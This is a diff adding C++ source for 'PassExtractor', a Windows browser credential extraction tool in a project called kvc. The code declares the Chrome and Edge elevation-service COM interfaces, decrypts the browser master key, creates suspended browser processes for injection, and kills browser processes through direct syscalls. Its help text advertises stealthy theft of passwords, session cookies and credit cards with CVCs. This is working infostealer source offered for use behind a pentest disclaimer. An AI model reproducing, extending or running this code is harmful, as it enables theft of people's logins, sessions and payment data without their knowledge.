||||
enum class DataType {
|
||||
Passwords, // Use DPAPI for Edge passwords (no process required)
|
||||
Cookies, // Use COM elevation for browser cookies
|
||||
Payments, // Use COM elevation for payment information
|
||||
All // Default behavior - use appropriate method per browser
|
||||
};
|
||||
|
||||
// Browser-specific configuration and COM interface definitions
|
||||
namespace Browser
|
||||
{
|
||||
struct Config
|
||||
{
|
||||
std::string name;
|
||||
std::wstring processName;
|
||||
CLSID clsid;
|
||||
IID iid;
|
||||
fs::path userDataSubPath;
|
||||
};
|
||||
|
||||
const std::unordered_map<std::string, Config>& GetConfigs();
|
||||
Config GetConfigForCurrentProcess();
|
||||
}
|
||||
|
||||
// Cryptographic operations for AES-GCM decryption and key management
|
||||
namespace Crypto
|
||||
{
|
||||
constexpr size_t KEY_SIZE = 32;
|
||||
constexpr size_t GCM_IV_LENGTH = 12;
|
||||
constexpr size_t GCM_TAG_LENGTH = 16;
|
||||
|
||||
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob);
|
||||
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath);
|
||||
}
|
||||
|
||||
class BrowserManager
|
||||
{
|
||||
public:
|
||||
BrowserManager();
|
||||
const Browser::Config& getConfig() const noexcept { return m_config; }
|
||||
fs::path getUserDataRoot() const;
|
||||
|
||||
private:
|
||||
Browser::Config m_config;
|
||||
};
|
||||
|
||||
// Master key decryptor with selective strategy per data type
|
||||
class MasterKeyDecryptor
|
||||
{
|
||||
public:
|
||||
explicit MasterKeyDecryptor(PipeLogger& logger);
|
||||
~MasterKeyDecryptor();
|
||||
|
||||
// Main decryption interface - intelligently chooses COM or DPAPI
|
||||
std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath, DataType dataType = DataType::All);
|
||||
|
||||
private:
|
||||
PipeLogger& m_logger;
|
||||
bool m_comInitialized = false;
|
||||
|
||||
std::vector<uint8_t> DecryptWithCOM(const Browser::Config& config, const std::vector<uint8_t>& encryptedKeyBlob);
|
||||
std::vector<uint8_t> DecryptWithDPAPI(const fs::path& localStatePath);
|
||||
};
|
||||
}
|
||||
|
||||
// COM interface definitions
|
||||
enum class ProtectionLevel
|
||||
{
|
||||
None = 0,
|
||||
PathValidationOld = 1,
|
||||
PathValidation = 2,
|
||||
Max = 3
|
||||
};
|
||||
|
||||
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
||||
IOriginalBaseElevator : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
||||
};
|
||||
|
||||
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
|
||||
IEdgeElevatorBase_Placeholder : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
|
||||
};
|
||||
|
||||
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
||||
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
||||
};
|
||||
|
||||
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
|
||||
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};
|
||||
|
||||
#endif // BROWSER_CRYPTO_H
|
||||
297
kvc/BrowserHelp.cpp
Normal file
297
kvc/BrowserHelp.cpp
Normal file
@@ -0,0 +1,297 @@
|
||||
// BrowserHelp.cpp - Comprehensive help system for PassExtractor
|
||||
#include <windows.h>
|
||||
#include "BrowserHelp.h"
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
|
||||
namespace BrowserHelp
|
||||
{
|
||||
void PrintUsage(std::wstring_view programName) noexcept
|
||||
{
|
||||
PrintBasicUsage(programName);
|
||||
PrintBrowserTargets();
|
||||
PrintCommandLineOptions();
|
||||
PrintOutputFormat();
|
||||
PrintTechnicalFeatures();
|
||||
PrintUsageExamples(programName);
|
||||
PrintRequirements();
|
||||
PrintBrowserSpecificNotes();
|
||||
PrintSecurityNotice();
|
||||
PrintFooter();
|
||||
}
|
||||
|
||||
void PrintHeader() noexcept
|
||||
{
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
const int width = 80;
|
||||
|
||||
// Blue header border
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"\n";
|
||||
std::wcout << L"================================================================================\n";
|
||||
|
||||
// Centered text printing
|
||||
auto printCentered = [&](const std::wstring& text) {
|
||||
int textLen = static_cast<int>(text.length());
|
||||
int padding = (width - textLen) / 2;
|
||||
if (padding < 0) padding = 0;
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << std::wstring(padding, L' ') << text << L"\n";
|
||||
};
|
||||
|
||||
printCentered(L"PassExtractor - Advanced Browser Credential Extraction Framework");
|
||||
printCentered(L"Multi-Browser Password, Cookie & Payment Data Recovery Tool");
|
||||
printCentered(L"Chrome, Brave, Edge Support via COM Elevation & DPAPI Techniques");
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"================================================================================\n\n";
|
||||
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
void PrintBasicUsage(std::wstring_view programName) noexcept
|
||||
{
|
||||
PrintSectionHeader(L"USAGE");
|
||||
std::wcout << L" " << programName << L" <browser_target> [options]\n";
|
||||
std::wcout << L" " << programName << L" --help\n\n";
|
||||
}
|
||||
|
||||
void PrintBrowserTargets() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"BROWSER TARGETS");
|
||||
PrintCommandLine(L"chrome", L"Google Chrome (COM Elevation + AES-GCM)");
|
||||
PrintCommandLine(L"brave", L"Brave Browser (COM Elevation + AES-GCM)");
|
||||
PrintCommandLine(L"edge", L"Microsoft Edge (Split-Key Strategy: COM + DPAPI)");
|
||||
PrintCommandLine(L"all", L"All installed browsers (automatic detection)");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void PrintCommandLineOptions() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"OPTIONS");
|
||||
PrintCommandLine(L"-o, --output-path <path>", L"Output directory (default: .\\output\\)");
|
||||
PrintCommandLine(L"-v, --verbose", L"Enable detailed debug output");
|
||||
PrintCommandLine(L"--json-only", L"Extract only JSON files (skip reports)");
|
||||
PrintCommandLine(L"--quiet", L"Minimal output (errors only)");
|
||||
PrintCommandLine(L"--profile <name>", L"Extract specific browser profile only");
|
||||
PrintCommandLine(L"-h, --help", L"Show this help message");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void PrintOutputFormat() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"OUTPUT FORMAT");
|
||||
std::wcout << L" JSON Files (all browsers):\n";
|
||||
std::wcout << L" passwords.json - Decrypted login credentials\n";
|
||||
std::wcout << L" cookies.json - Session cookies with tokens\n";
|
||||
std::wcout << L" payments.json - Credit card data with CVCs\n\n";
|
||||
}
|
||||
|
||||
void PrintTechnicalFeatures() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"TECHNICAL FEATURES");
|
||||
std::wcout << L" - COM elevation service exploitation (Chrome/Brave/Edge cookies+payments)\n";
|
||||
std::wcout << L" - DPAPI extraction for Edge passwords (orchestrator-side)\n";
|
||||
std::wcout << L" - Split-key strategy for Edge (different keys per data type)\n";
|
||||
std::wcout << L" - Direct syscall invocation for stealth operations\n";
|
||||
std::wcout << L" - Process injection with custom PE loader\n";
|
||||
std::wcout << L" - AES-GCM decryption with v10/v20 scheme support\n";
|
||||
std::wcout << L" - Automatic profile discovery and enumeration\n";
|
||||
std::wcout << L" - Multi-threaded extraction pipeline\n\n";
|
||||
}
|
||||
|
||||
void PrintUsageExamples(std::wstring_view programName) noexcept
|
||||
{
|
||||
PrintSectionHeader(L"USAGE EXAMPLES");
|
||||
const int commandWidth = 50;
|
||||
|
||||
auto printLine = [&](const std::wstring& command, const std::wstring& description) {
|
||||
std::wcout << L" " << std::left << std::setw(commandWidth)
|
||||
<< (std::wstring(programName) + L" " + command)
|
||||
<< L"# " << description << L"\n";
|
||||
};
|
||||
|
||||
printLine(L"chrome", L"Extract Chrome to .\\output\\");
|
||||
printLine(L"edge -o C:\\reports", L"Edge to custom directory");
|
||||
printLine(L"brave --verbose", L"Brave with debug output");
|
||||
printLine(L"all", L"All browsers to .\\output\\");
|
||||
printLine(L"chrome -o D:\\data -v", L"Combined options");
|
||||
printLine(L"edge --json-only", L"Edge JSON files only");
|
||||
printLine(L"chrome --profile Default", L"Extract specific profile");
|
||||
printLine(L"all --quiet -o C:\\dumps", L"Silent extraction to custom path");
|
||||
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void PrintRequirements() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"REQUIREMENTS");
|
||||
std::wcout << L" - Windows 10/11 (x64 architecture)\n";
|
||||
std::wcout << L" - Administrator privileges required\n";
|
||||
std::wcout << L" - kvc_crypt.dll (security module)\n";
|
||||
std::wcout << L" - Target browser must be installed\n\n";
|
||||
}
|
||||
|
||||
void PrintBrowserSpecificNotes() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"BROWSER-SPECIFIC BEHAVIOR");
|
||||
|
||||
std::wcout << L" Chrome/Brave:\n";
|
||||
std::wcout << L" - Single COM-elevated key for all data types\n";
|
||||
std::wcout << L" - Requires browser process for COM elevation\n";
|
||||
std::wcout << L" - Extracts passwords, cookies, payment cards\n\n";
|
||||
|
||||
std::wcout << L" Edge:\n";
|
||||
std::wcout << L" - Split-key strategy (COM + DPAPI)\n";
|
||||
std::wcout << L" - COM key: cookies and payment data\n";
|
||||
std::wcout << L" - DPAPI key: passwords (no browser process needed)\n\n";
|
||||
}
|
||||
|
||||
void PrintSecurityNotice() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"SECURITY & LEGAL NOTICE");
|
||||
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
std::wcout << L" WARNING: ADVANCED CREDENTIAL EXTRACTION TOOL\n\n";
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
|
||||
std::wcout << L" CAPABILITIES:\n";
|
||||
std::wcout << L" - Extracts encrypted browser credentials (passwords, cookies, payments)\n";
|
||||
std::wcout << L" - Uses COM elevation bypass and DPAPI extraction techniques\n";
|
||||
std::wcout << L" - Direct syscall invocation for stealth operations\n";
|
||||
std::wcout << L" - Process injection and memory manipulation\n\n";
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::wcout << L" LEGAL & ETHICAL RESPONSIBILITY:\n";
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
std::wcout << L" - Intended for authorized penetration testing and security research only\n";
|
||||
std::wcout << L" - User assumes full legal responsibility for all actions performed\n";
|
||||
std::wcout << L" - Ensure proper authorization before using on any system\n";
|
||||
std::wcout << L" - Misuse may violate computer crime laws in your jurisdiction\n\n";
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
std::wcout << L" By using this tool, you acknowledge understanding and accept full responsibility.\n\n";
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
void PrintFooter() noexcept
|
||||
{
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
const int width = 80;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n";
|
||||
|
||||
auto printCenteredFooter = [&](const std::wstring& text) {
|
||||
int textLen = static_cast<int>(text.length());
|
||||
int padding = (width - 2 - textLen) / 2;
|
||||
if (padding < 0) padding = 0;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"|";
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << std::wstring(padding, L' ') << text
|
||||
<< std::wstring(width - 2 - padding - textLen, L' ');
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"|\n";
|
||||
};
|
||||
|
||||
printCenteredFooter(L"Support this project - a small donation is greatly appreciated");
|
||||
printCenteredFooter(L"and helps sustain private research builds.");
|
||||
printCenteredFooter(L"GitHub source code: https://github.com/wesmar/kvc/");
|
||||
printCenteredFooter(L"Professional services: marek@wesolowski.eu.org");
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"|";
|
||||
|
||||
std::wstring paypal = L"PayPal: ";
|
||||
std::wstring paypalLink = L"paypal.me/ext1";
|
||||
std::wstring middle = L" ";
|
||||
std::wstring revolut = L"Revolut: ";
|
||||
std::wstring revolutLink = L"revolut.me/marekb92";
|
||||
|
||||
int totalLen = static_cast<int>(paypal.length() + paypalLink.length() +
|
||||
middle.length() + revolut.length() + revolutLink.length());
|
||||
int padding = (width - totalLen - 2) / 2;
|
||||
if (padding < 0) padding = 0;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << std::wstring(padding, L' ') << paypal;
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::wcout << paypalLink;
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << middle << revolut;
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::wcout << revolutLink;
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << std::wstring(width - totalLen - padding - 2, L' ');
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"|\n";
|
||||
|
||||
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n";
|
||||
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
void PrintSectionHeader(const wchar_t* title) noexcept
|
||||
{
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"=== " << title << L" ===\n";
|
||||
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept
|
||||
{
|
||||
const int commandWidth = 50;
|
||||
std::wcout << L" " << std::left << std::setw(commandWidth)
|
||||
<< command << L"- " << description << L"\n";
|
||||
}
|
||||
|
||||
void PrintNote(const wchar_t* note) noexcept
|
||||
{
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY);
|
||||
std::wcout << L" " << note << L"\n";
|
||||
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
void PrintWarning(const wchar_t* warning) noexcept
|
||||
{
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
std::wcout << L" " << warning << L"\n";
|
||||
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
}
|
||||
32
kvc/BrowserHelp.h
Normal file
32
kvc/BrowserHelp.h
Normal file
@@ -0,0 +1,32 @@
|
||||
// BrowserHelp.h - Comprehensive help and usage information for PassExtractor
|
||||
#ifndef BROWSER_HELP_H
|
||||
#define BROWSER_HELP_H
|
||||
|
||||
#include <string>
|
||||
|
||||
namespace BrowserHelp
|
||||
{
|
||||
// Print complete usage information with formatting and colors
|
||||
void PrintUsage(std::wstring_view programName) noexcept;
|
||||
|
||||
// Section printing helpers
|
||||
void PrintHeader() noexcept;
|
||||
void PrintBasicUsage(std::wstring_view programName) noexcept;
|
||||
void PrintBrowserTargets() noexcept;
|
||||
void PrintCommandLineOptions() noexcept;
|
||||
void PrintOutputFormat() noexcept;
|
||||
void PrintTechnicalFeatures() noexcept;
|
||||
void PrintUsageExamples(std::wstring_view programName) noexcept;
|
||||
void PrintRequirements() noexcept;
|
||||
void PrintBrowserSpecificNotes() noexcept;
|
||||
void PrintSecurityNotice() noexcept;
|
||||
void PrintFooter() noexcept;
|
||||
|
||||
// Formatting helpers
|
||||
void PrintSectionHeader(const wchar_t* title) noexcept;
|
||||
void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept;
|
||||
void PrintNote(const wchar_t* note) noexcept;
|
||||
void PrintWarning(const wchar_t* warning) noexcept;
|
||||
}
|
||||
|
||||
#endif // BROWSER_HELP_H
|
||||
File diff suppressed because it is too large
Load Diff
207
kvc/BrowserProcessManager.cpp
Normal file
207
kvc/BrowserProcessManager.cpp
Normal file
@@ -0,0 +1,207 @@
|
||||
// BrowserProcessManager.cpp - Browser process management and cleanup operations
|
||||
#include "BrowserProcessManager.h"
|
||||
#include "syscalls.h"
|
||||
#include <stdexcept>
|
||||
|
||||
#ifndef IMAGE_FILE_MACHINE_AMD64
|
||||
#define IMAGE_FILE_MACHINE_AMD64 0x8664
|
||||
#endif
|
||||
|
||||
#ifndef IMAGE_FILE_MACHINE_I386
|
||||
#define IMAGE_FILE_MACHINE_I386 0x014c
|
||||
#endif
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
// Handle cleanup using direct syscall
|
||||
void HandleDeleter::operator()(HANDLE h) const noexcept
|
||||
{
|
||||
if (h && h != INVALID_HANDLE_VALUE)
|
||||
NtClose_syscall(h);
|
||||
}
|
||||
|
||||
// Constructor initializes target process context
|
||||
TargetProcess::TargetProcess(const Configuration& config, const Console& console)
|
||||
: m_config(config), m_console(console) {}
|
||||
|
||||
// Creates suspended browser process for safe injection
|
||||
void TargetProcess::createSuspended()
|
||||
{
|
||||
m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process.");
|
||||
m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath));
|
||||
|
||||
STARTUPINFOW si{};
|
||||
PROCESS_INFORMATION pi{};
|
||||
si.cb = sizeof(si);
|
||||
|
||||
if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr,
|
||||
FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi))
|
||||
throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError()));
|
||||
|
||||
m_hProcess.reset(pi.hProcess);
|
||||
m_hThread.reset(pi.hThread);
|
||||
m_pid = pi.dwProcessId;
|
||||
|
||||
m_console.Debug("Created suspended process PID: " + std::to_string(m_pid));
|
||||
checkArchitecture();
|
||||
}
|
||||
|
||||
// Terminates target process via direct syscall
|
||||
void TargetProcess::terminate()
|
||||
{
|
||||
if (m_hProcess)
|
||||
{
|
||||
m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall.");
|
||||
NtTerminateProcess_syscall(m_hProcess.get(), 0);
|
||||
m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator.");
|
||||
}
|
||||
}
|
||||
|
||||
// Validates matching x64 architecture
|
||||
void TargetProcess::checkArchitecture()
|
||||
{
|
||||
USHORT processArch = 0, nativeMachine = 0;
|
||||
auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress(
|
||||
GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2");
|
||||
if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine))
|
||||
throw std::runtime_error("Failed to determine target process architecture.");
|
||||
|
||||
m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch;
|
||||
constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64;
|
||||
|
||||
if (m_arch != orchestratorArch)
|
||||
throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " +
|
||||
std::string(getArchName(m_arch)));
|
||||
|
||||
m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch)));
|
||||
}
|
||||
|
||||
// Returns human-readable architecture name
|
||||
const char* TargetProcess::getArchName(USHORT arch) const noexcept
|
||||
{
|
||||
switch (arch)
|
||||
{
|
||||
case IMAGE_FILE_MACHINE_AMD64: return "x64";
|
||||
case IMAGE_FILE_MACHINE_I386: return "x86";
|
||||
default: return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
// Terminates all browser processes matching the target executable name
|
||||
void KillBrowserProcesses(const Configuration& config, const Console& console)
|
||||
{
|
||||
console.Debug("Terminating all browser processes to release file locks...");
|
||||
|
||||
UniqueHandle hCurrentProc;
|
||||
HANDLE nextProcHandle = nullptr;
|
||||
int processes_terminated = 0;
|
||||
|
||||
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,
|
||||
0, 0, &nextProcHandle)))
|
||||
{
|
||||
UniqueHandle hNextProc(nextProcHandle);
|
||||
hCurrentProc = std::move(hNextProc);
|
||||
|
||||
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
|
||||
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
|
||||
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName,
|
||||
imageName, (ULONG)buffer.size(), NULL)) ||
|
||||
imageName->Length == 0)
|
||||
continue;
|
||||
|
||||
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
|
||||
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
|
||||
continue;
|
||||
|
||||
PROCESS_BASIC_INFORMATION pbi{};
|
||||
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation,
|
||||
&pbi, sizeof(pbi), nullptr)) ||
|
||||
!pbi.PebBaseAddress)
|
||||
continue;
|
||||
|
||||
console.Debug("Found and terminated browser process PID: " + std::to_string((DWORD)pbi.UniqueProcessId));
|
||||
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
|
||||
processes_terminated++;
|
||||
}
|
||||
|
||||
if (processes_terminated > 0)
|
||||
{
|
||||
console.Debug("Terminated " + std::to_string(processes_terminated) + " browser processes. Waiting for file locks to release.");
|
||||
Sleep(2000);
|
||||
}
|
||||
}
|
||||
|
||||
// Terminates browser network service processes that hold database locks
|
||||
void KillBrowserNetworkService(const Configuration& config, const Console& console)
|
||||
{
|
||||
console.Debug("Scanning for and terminating browser network services...");
|
||||
|
||||
UniqueHandle hCurrentProc;
|
||||
HANDLE nextProcHandle = nullptr;
|
||||
int processes_terminated = 0;
|
||||
|
||||
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,
|
||||
0, 0, &nextProcHandle)))
|
||||
{
|
||||
UniqueHandle hNextProc(nextProcHandle);
|
||||
hCurrentProc = std::move(hNextProc);
|
||||
|
||||
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
|
||||
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
|
||||
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName,
|
||||
imageName, (ULONG)buffer.size(), NULL)) ||
|
||||
imageName->Length == 0)
|
||||
continue;
|
||||
|
||||
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
|
||||
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
|
||||
continue;
|
||||
|
||||
PROCESS_BASIC_INFORMATION pbi{};
|
||||
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation,
|
||||
&pbi, sizeof(pbi), nullptr)) ||
|
||||
!pbi.PebBaseAddress)
|
||||
continue;
|
||||
|
||||
PEB peb{};
|
||||
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr)))
|
||||
continue;
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS params{};
|
||||
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr)))
|
||||
continue;
|
||||
|
||||
std::vector<wchar_t> cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
|
||||
if (params.CommandLine.Length > 0 &&
|
||||
!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer,
|
||||
cmdLine.data(), params.CommandLine.Length, nullptr)))
|
||||
continue;
|
||||
|
||||
if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService"))
|
||||
{
|
||||
console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId));
|
||||
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
|
||||
processes_terminated++;
|
||||
}
|
||||
}
|
||||
|
||||
if (processes_terminated > 0)
|
||||
{
|
||||
console.Debug("Termination sweep complete. Waiting for file locks to fully release.");
|
||||
Sleep(1500);
|
||||
}
|
||||
}
|
||||
|
||||
// Checks if Windows native SQLite library is available
|
||||
bool CheckWinSQLite3Available()
|
||||
{
|
||||
HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll");
|
||||
if (hWinSQLite)
|
||||
{
|
||||
FreeLibrary(hWinSQLite);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
52
kvc/BrowserProcessManager.h
Normal file
52
kvc/BrowserProcessManager.h
Normal file
@@ -0,0 +1,52 @@
|
||||
// BrowserProcessManager.h - Browser process lifecycle and cleanup management
|
||||
#ifndef BROWSER_PROCESS_MANAGER_H
|
||||
#define BROWSER_PROCESS_MANAGER_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include "OrchestratorCore.h"
|
||||
#include "CommunicationLayer.h"
|
||||
|
||||
// RAII wrapper for Windows handle management with syscall-based cleanup
|
||||
struct HandleDeleter
|
||||
{
|
||||
void operator()(HANDLE h) const noexcept;
|
||||
};
|
||||
using UniqueHandle = std::unique_ptr<void, HandleDeleter>;
|
||||
|
||||
// Manages target browser process lifecycle
|
||||
class TargetProcess
|
